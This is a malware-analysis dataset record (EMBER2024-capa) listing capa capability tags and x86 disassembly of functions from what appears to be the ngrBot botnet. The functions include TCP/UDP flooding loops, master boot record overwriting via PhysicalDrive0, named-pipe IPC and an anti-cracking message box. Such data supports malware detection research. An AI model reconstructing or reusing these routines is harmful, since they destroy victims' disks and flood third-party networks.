joyce8/EMBER2024-capa huggingface dataset:
Function at 0x937f90
Capabilities:
Get socket status
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov eax, dword [eax]
sub esp, 0x104
push esi
mov esi, dword [ebp + 0xc]
cmp dword [esi + 0x1c], 0
push edi
je 0x93804f
mov ecx, dword [esi + 0x18]
lea edi, [eax + 0x1018]
push edi
push 0
lea edx, [ebp - 0x104]
push edx
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x93801c
mov eax, dword [esi + 0x20]
mov dword [esi + 0x1c], 0
test eax, eax
je 0x938109
mov ecx, dword [esi + 0x24]
mov edx, dword [esi + 0x18]
push 0
push ecx
push eax
push edx
call sub.WS2_32.dll_send
mov eax, dword [esi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
mov dword [esi + 0x20], 0
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x18]
push edi
lea edx, [ebp - 0x104]
push edx
push 0
push 0
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
dec eax
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
mov esp, ebp
pop ebp
ret
movzx ecx, word [esi + 0x1038]
test cx, cx
jne 0x9380d6
mov ecx, dword [esi + 0x18]
add eax, 0x1018
push eax
push 0
push 0
lea edx, [ebp - 0x104]
push edx
push 0
mov dword [ebp - 0x100], ecx
mov dword [ebp - 0x104], 1
call sub.WS2_32.dll_select
cmp eax, 1
jne 0x938109
mov ecx, dword [esi + 0x18]
push 0
push 0x1000
lea eax, [esi + 0x2f]
push eax
push ecx
call sub.WS2_32.dll_recv
mov word [esi + 0x1038], ax
test ax, ax
ja 0x9380b3
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 4]
mov word [esi + 0x2d], ax
add eax, 7
mov word [esi + 0x1038], ax
pop edi
mov dword [esi + 0x28], edx
mov byte [esi + 0x2c], 3
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [eax]
push 0
movzx ecx, cx
push ecx
lea edi, [esi + 0x28]
push edi
push edx
call sub.WS2_32.dll_send
test eax, eax
jle 0x938109
sub word [esi + 0x1038], ax
movzx ecx, word [esi + 0x1038]
push ecx
lea edx, [eax + esi + 0x28]
push edx
push edi
call fcn.00933640
add esp, 0xc
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x938120
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov esi, dword [eax + 0x1020]
test esi, esi
je 0x938174
push esi
push edi
call fcn.00937f90
add esp, 8
test eax, eax
jne 0x93816e
mov ecx, dword [esi + 4]
push eax
mov eax, dword [edi]
push 5
lea edx, [ebp - 8]
mov dword [ebp - 8], ecx
mov byte [ebp - 4], 2
mov ecx, dword [eax]
push edx
push ecx
call sub.WS2_32.dll_send
push esi
push edi
call fcn.00937ef0
add esp, 8
mov esi, eax
jmp 0x938170
mov esi, dword [esi]
test esi, esi
jne 0x938137
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x9381c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x198
lea eax, [ebp - 0x198]
push eax
push 0x202
mov dword [ebp - 8], 1
mov dword [ebp - 4], 0x40000
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x9381f2
xor eax, eax
mov esp, ebp
pop ebp
ret
push esi
push 6
push 1
push 2
call sub.WS2_32.dll_socket
mov esi, eax
cmp esi, 0xffffffff
je 0x93821f
lea ecx, [ebp - 8]
push ecx
push 0x8004667e
push esi
call sub.WS2_32.dll_ioctlsocket
cmp eax, 0xffffffff
jne 0x938226
push esi
call sub.WS2_32.dll_closesocket
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push 4
lea edx, [ebp - 4]
push edx
push 0x1002
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
mov ecx, dword [ebp + 0xc]
push 0x10
push ecx
push esi
call sub.WS2_32.dll_connect
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x938670
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x97a7fc], 0
je 0x938680
xor eax, eax
pop ebp
ret
push esi
push 0x103c
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov esi, eax
test esi, esi
je 0x93875a
mov eax, dword [ebp + 8]
push eax
call fcn.00939300
mov ecx, dword [ebp + 0xc]
add esp, 4
push ecx
mov dword [esi + 0x1030], eax
call sub.WS2_32.dll_htons
mov edx, 2
lea ecx, [esi + 0x102c]
mov word [ecx], dx
mov edx, dword [esi + 0x1030]
mov word [esi + 0x102e], ax
cmp edx, 0xffffffff
je 0x938749
test edx, edx
je 0x938749
test ax, ax
je 0x938749
push ecx
push 0x97a7fc
call fcn.009381c0
add esp, 8
mov dword [esi], eax
test eax, eax
jbe 0x938749
mov eax, dword [esi + 0x1030]
push eax
call sub.WS2_32.dll_inet_ntoa
movzx ecx, word [esi + 0x102e]
push ecx
call sub.WS2_32.dll_ntohs
mov dword [esi + 0x1024], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push 0
push 0
push 0x938640
push 0
mov dword [esi + 0x1028], eax
push 0
mov dword [0x97a7fc], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x97a7fc], 0
xor eax, eax
pop esi
pop ebp
ret
Function at 0x9389b0
Capabilities:
Get client handle via schannel
Get outbound credentials handle via credssp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
xor edi, edi
push 0x34
lea eax, [ebp - 0x50]
push edi
push eax
mov dword [ebp - 4], edi
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push edi
lea ebx, [esi + 0x10]
push ebx
push edi
push edi
lea ecx, [ebp - 0x54]
push ecx
push edi
push 2
xor eax, eax
push str.Microsoft_Unified_Security_Protocol_Provider
push edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x54], 4
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x4c], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], 0x20
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], 0xfffffffe
mov dword [ebp - 0x24], 0x1c
mov dword [ebp - 0x20], edi
call dword [sym.imp.Secur32.dll_AcquireCredentialsHandleW]
test eax, eax
jne 0x938afe
push edi
lea edx, [ebp - 0x10]
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 0x14], edx
lea edx, [ebp - 0x1c]
push edx
lea eax, [esi + 8]
push eax
mov eax, dword [ebp + 0xc]
push edi
push edi
push edi
push edi
push 0x8c11c
push eax
push edi
push ebx
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], 2
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x1c], edi
call dword [sym.imp.Secur32.dll_InitializeSecurityContextW]
cmp eax, 0x90312
jne 0x938afe
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
push ecx
push edx
push esi
call fcn.00932be0
add esp, 0xc
cmp eax, dword [ebp - 0x10]
jne 0x938afe
lea eax, [ebp - 0x10]
push eax
call fcn.00938760
mov ecx, dword [ebp + 0xc]
push 1
push ecx
push esi
call fcn.00938790
add esp, 0x10
cmp eax, 1
jne 0x938afe
lea eax, [esi + 0x18]
push eax
push 4
lea eax, [esi + 8]
push eax
call dword [sym.imp.Secur32.dll_QueryContextAttributesW]
test eax, eax
jne 0x938afe
mov edx, dword [esi + 0x20]
add edx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
mov ecx, dword [esi + 0x34]
add eax, edx
push eax
push ecx
mov dword [esi + 0x38], eax
call fcn.00932490
add esp, 8
mov dword [esi + 0x34], eax
cmp eax, edi
je 0x938afe
mov eax, 1
pop edi
mov dword [esi + 4], eax
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x2c]
push edx
call fcn.009324a0
lea eax, [ebp - 0x10]
push eax
call fcn.00938760
add esp, 8
add esi, 8
push esi
call dword [sym.imp.Secur32.dll_DeleteSecurityContext]
push ebx
call dword [sym.imp.Secur32.dll_FreeCredentialsHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x938b30
Capabilities:
Encrypt data via sspi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, dword [esi + 0x18]
add ebx, dword [esi + 0x34]
mov eax, dword [esi + 0x20]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
mov dword [ebp - 8], eax
xor eax, eax
push 0x2c
push eax
lea ecx, [ebp - 0x44]
push ecx
mov dword [ebp - 4], eax
mov dword [ebp + 8], edi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x48], eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [esi + 4], 0
jne 0x938b9a
mov edx, dword [ebp + 0xc]
push edi
push edx
push esi
call fcn.00932be0
add esp, 0xc
xor ecx, ecx
cmp eax, edi
sete cl
pop edi
pop esi
pop ebx
mov eax, ecx
mov esp, ebp
pop ebp
ret
test edi, edi
je 0x938c77
jmp 0x938ba7
mov edi, dword [ebp + 8]
mov edx, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
push edx
push eax
call fcn.009324e0
mov eax, dword [esi + 0x20]
add esp, 8
cmp edi, eax
jb 0x938bc0
mov edi, eax
mov ecx, dword [ebp - 8]
push edi
push ecx
push ebx
call fcn.00932440
mov edx, dword [esi + 0x34]
mov eax, dword [esi + 0x18]
mov ecx, dword [ebp - 0xc]
sub dword [ebp + 8], edi
add dword [ebp - 8], edi
mov dword [ebp - 0x40], edx
mov edx, dword [esi + 0x1c]
mov dword [ebp - 0x48], eax
xor eax, eax
push eax
mov dword [ebp - 0x30], edx
lea edx, [ebp - 0x18]
push edx
push eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x28], ecx
lea eax, [esi + 8]
lea ecx, [ebp - 0x48]
push eax
mov dword [ebp - 0x44], 7
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x14], 4
mov dword [ebp - 0x10], ecx
call sub.Secur32.dll_EncryptMessage
test eax, eax
jne 0x938c7a
mov byte [ebp + 0xf], al
movzx eax, byte [ebp + 0xf]
lea eax, [eax + eax*2]
add eax, eax
add eax, eax
mov ecx, dword [ebp + eax - 0x48]
mov edx, dword [ebp + eax - 0x40]
lea edi, [ebp + eax - 0x48]
push ecx
push edx
push esi
call fcn.00932be0
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, dword [edi]
jne 0x938c7d
mov al, byte [ebp + 0xf]
inc al
mov byte [ebp + 0xf], al
cmp al, 3
jb 0x938c35
cmp dword [ebp + 8], 0
jne 0x938ba4
mov edi, dword [ebp + 0x10]
mov dword [ebp - 4], edi
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x939300
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
jne 0x939326
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x93931f
pop esi
pop ebp
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
pop ebp
ret

Function at 0x939330
Capabilities:
Act as tcp client
Check for time delay via gettickcount
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3dc
mov eax, dword [ebp + 8]
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.00939300
mov edx, dword [ebp + 0xc]
add esp, 4
mov ecx, 2
push edx
mov esi, eax
mov word [ebp - 0x14], cx
call sub.WS2_32.dll_htons
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov word [ebp - 0x12], ax
mov dword [ebp - 0x10], esi
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
sub esi, eax
mov dword [ebp - 0x3d4], eax
cmp esi, edi
ja 0x93941c
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x945cbc], 0
jne 0x93941b
xor esi, esi
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x9393c6
lea ecx, [ebp - 4]
push ecx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x9393a0
xor esi, esi
mov edi, edi
mov eax, dword [ebp + esi*4 - 0xdc]
push 0x10
lea edx, [ebp - 0x14]
push edx
push eax
call sub.WS2_32.dll_connect
inc esi
cmp esi, 0x32
jl 0x9393d0
push 0x64
call ebx
xor esi, esi
nop
mov ecx, dword [ebp + esi*4 - 0xdc]
push ecx
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x9393f0
push 0x4b
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x3d4]
cmp eax, edi
jbe 0x939395
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x939430
Capabilities:
Check for time delay via gettickcount
Create udp socket
Encrypt data using rc4 ksa
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a40
call fcn.00940f10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push eax
mov dword [ebp - 4], 1
call fcn.00939300
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, dword [ebp + 0xc]
add esp, 4
test eax, eax
je 0x939467
movzx eax, ax
jmp 0x939486
call edi
push eax
call main
add esp, 4
call fcn.00933870
movzx eax, ax
cdq
mov ecx, 0xffff
idiv ecx
inc edx
movzx eax, dx
mov edx, 2
push eax
mov word [ebp - 0x14], dx
call sub.WS2_32.dll_htons
mov dword [ebp - 0x10], esi
mov word [ebp - 0x12], ax
xor esi, esi
mov edi, edi
call fcn.00933870
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x1964
mov byte [ebp + esi - 0x1a41], dl
jl 0x9394a0
call edi
mov esi, eax
call edi
mov edi, dword [ebp + 0x10]
imul edi, edi, 0x3e8
mov ebx, eax
sub esi, ebx
cmp esi, edi
ja 0x939574
jmp 0x9394e0
cmp dword [0x945cbc], 0
jne 0x939574
xor esi, esi
nop
push 0x11
push 2
push 2
call sub.WS2_32.dll_socket
mov dword [ebp + esi*4 - 0xdc], eax
cmp eax, 0xffffffff
je 0x939516
lea edx, [ebp - 4]
push edx
push 0x8004667e
push eax
call sub.WS2_32.dll_ioctlsocket
inc esi
cmp esi, 0x32
jl 0x9394f0
xor esi, esi
mov edi, edi
mov edx, dword [ebp + esi*4 - 0xdc]
push 0x10
lea eax, [ebp - 0x14]
push eax
push 0
push 0x1964
lea ecx, [ebp - 0x1a40]
push ecx
push edx
call sub.WS2_32.dll_sendto
inc esi
cmp esi, 0x32
jl 0x939520
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
mov eax, dword [ebp + esi*4 - 0xdc]
push eax
call sub.WS2_32.dll_closesocket
inc esi
cmp esi, 0x32
jl 0x939551
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, edi
jbe 0x9394e0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x939d90
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push 4
push 0x1000
push 0x8000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
test eax, eax
jne 0x939dbe
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0x20000080
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x939dee
mov eax, 0xfffffffe
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0x90018
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push ecx
push esi
push edi
mov ecx, 0x2000
xor eax, eax
mov edi, dword [ebp - 8]
rep stosd dword es:[edi], eax
pop edi
pop esi
pop ecx
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [ebp - 8]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea ecx, [ebp - 4]
push ecx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0x939e4f
mov eax, 0xfffffffd
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea edx, [ebp - 4]
push edx
push 0x7e00
push edi
push ebx
call esi
test eax, eax
jne 0x939e80
mov eax, 0xfffffffc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 4]
push eax
push 0x8000
push edi
push ebx
call esi
test eax, eax
jne 0x939e80
push eax
lea ecx, [ebp - 4]
push ecx
push eax
push eax
push eax
push eax
push 0x9001c
push ebx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x939ec0
Capabilities:
Overwrite master boot record (mbr)
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push 0x1ff
lea eax, [ebp - 0x207]
push 0
push eax
mov byte [ebp - 0x208], 0
call sub.MSVCRT.dll_memset
push 3
lea ecx, [ebp - 0x208]
push str.00100
push ecx
call fcn.00933640
add esp, 0x18
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PHYSICALDRIVE0
mov byte [ebp - 0xa], 0x55
mov byte [ebp - 9], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x939f2a
or eax, eax
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
push 0
lea eax, [ebp - 8]
push eax
push 0x200
lea ecx, [ebp - 0x208]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x93a080
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push esi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x93a0d1
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 4]
push ecx
mov ecx, dword [eax]
push edx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x93a0d8
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x93a150
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x206]
push ecx
mov word [ebp - 0x208], ax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
test eax, eax
je 0x93a1ea
mov esi, dword [ebp + 8]
push edi
push esi
call fcn.00933690
mov edi, eax
lea eax, [ebp - 0x208]
push eax
call fcn.00933690
add esp, 8
cmp edi, eax
pop edi
jbe 0x93a1ea
lea ecx, [ebp - 0x208]
push ecx
call fcn.00933690
push eax
lea edx, [ebp - 0x208]
push edx
push esi
call sub.MSVCRT.dll__memicmp
add esp, 0x10
test eax, eax
jne 0x93a1ea
mov eax, dword [ebp + 0xc]
push eax
push esi
call fcn.0093a0f0
add esp, 8
test eax, eax
je 0x93a1ea
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x93a260
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.009335f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.009335f0
add esp, 0x18
xor edx, edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x54]
push ecx
push edx
push edx
push 0x10
push edx
push edx
push edx
push edx
mov word [ebp - 0x24], dx
mov edx, dword [ebp + 8]
push edx
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret
Function at 0x93a310
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1404
call fcn.00940f10
push ebx
push esi
push edi
push 0x3ff
lea eax, [ebp - 0x403]
push 0
push eax
mov byte [ebp - 0x404], 0
call sub.MSVCRT.dll_memset
push 0x7ff
lea ecx, [ebp - 0x1003]
push 0
push ecx
mov byte [ebp - 0x1004], 0
call sub.MSVCRT.dll_memset
push 0x3ff
lea edx, [ebp - 0x803]
push 0
push edx
mov byte [ebp - 0x804], 0
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push ecx
lea edx, [ebp - 0x1404]
push 0x3fe
push edx
call sub.MSVCRT.dll__vsnprintf
lea eax, [ebp - 0x1404]
push eax
lea ecx, [ebp - 0x404]
push 0x9413ec
push ecx
call sub.MSVCRT.dll_sprintf
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0x40
push str.FUCKYOUU
call edi
push eax
push str.FUCKYOUU
call fcn.00931e60
push eax
push str..pipe_08x_ipc
lea edx, [ebp - 0x804]
push 0x3ff
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x18
lea eax, [ebp - 0x404]
push eax
call edi
mov esi, eax
push esi
lea ecx, [ebp - 0x1004]
push 0x942a30
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea edx, [ebp - 0x1004]
push edx
call edi
push str.FUCKYOUU
mov ebx, eax
call edi
push eax
push esi
lea eax, [ebp - 0x404]
push str.FUCKYOUU
push eax
call fcn.00931440
add esp, 0x10
push esi
lea ecx, [ebp - 0x404]
push ecx
lea edx, [ebp + ebx - 0x1004]
push edx
call fcn.00932440
push 0x97ad74
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0
push 0
push 3
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x93a473
push 0x97ad74
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
lea ecx, [ebp - 4]
push ecx
add ebx, esi
push ebx
lea edx, [ebp - 0x1004]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x97ad74
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x93a5d0
Capabilities:
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
xor ebx, ebx
mov dword [ebp - 4], esi
cmp dword [0x94594c], esi
jbe 0x93a63b
push edi
mov edi, 0x94594c
jmp 0x93a5f0
mov eax, dword [edi]
mov ecx, dword [esi + 0x945948]
push 0x20
push eax
push 0x945834
push ecx
call fcn.00931440
mov edx, dword [edi]
mov eax, dword [esi + 0x945948]
push edx
push eax
call fcn.00931e60
add esp, 0x18
cmp eax, dword [esi + 0x945950]
jne 0x93a64a
add dword [ebp - 4], eax
inc ebx
lea esi, [ebx + ebx*2]
add esi, esi
add esi, esi
cmp dword [esi + 0x94594c], 0
lea edi, [esi + 0x94594c]
ja 0x93a5f0
pop edi
mov edx, dword [ebp - 4]
lea ecx, [ebx + ebx*2]
cmp edx, dword [ecx*4 + 0x945950]
je 0x93a686
push 0
push 0
push 0
push 0x93e750
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x30
push str.ngrBot_Error
push str.This_binary_is_invalid._r_n_r_nMain_reasons:_r_n__you_stupid_cracker_r_n__you_stupid_cracker..._r_n__you_stupid_cracker___r_n
push 0
mov esi, eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x93a690
Capabilities:
Create process on windows
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x25a]
push ecx
mov word [ebp - 0x25c], ax
call sub.MSVCRT.dll_memset
xor edx, edx
push 0x616
push edx
lea eax, [ebp - 0x872]
push eax
mov word [ebp - 0x874], dx
call sub.MSVCRT.dll_memset
add esp, 0x18
push 0
push 0x26
lea ecx, [ebp - 0x25c]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x93a6ed
mov esp, ebp
pop ebp
ret
push str.Internet_Explorer1explore.exe
lea edx, [ebp - 0x25c]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x25c]
push ecx
push str.__s___S
lea edx, [ebp - 0x874]
push 0x617
push edx
call sub.MSVCRT.dll__snwprintf
push 0x10
lea eax, [ebp - 0x10]
push 0
push eax
call fcn.009335f0
push 0x44
lea ecx, [ebp - 0x54]
push 0
push ecx
call fcn.009335f0
add esp, 0x2c
cmp dword [ebp + 0xc], 0
mov dword [ebp - 0x54], 0x44
mov dword [ebp - 0x28], 1
je 0x93a75c
mov edx, 5
mov word [ebp - 0x24], dx
jmp 0x93a762
xor eax, eax
mov word [ebp - 0x24], ax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0x54]
push edx
push 0
push 0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x874]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov esp, ebp
pop ebp
ret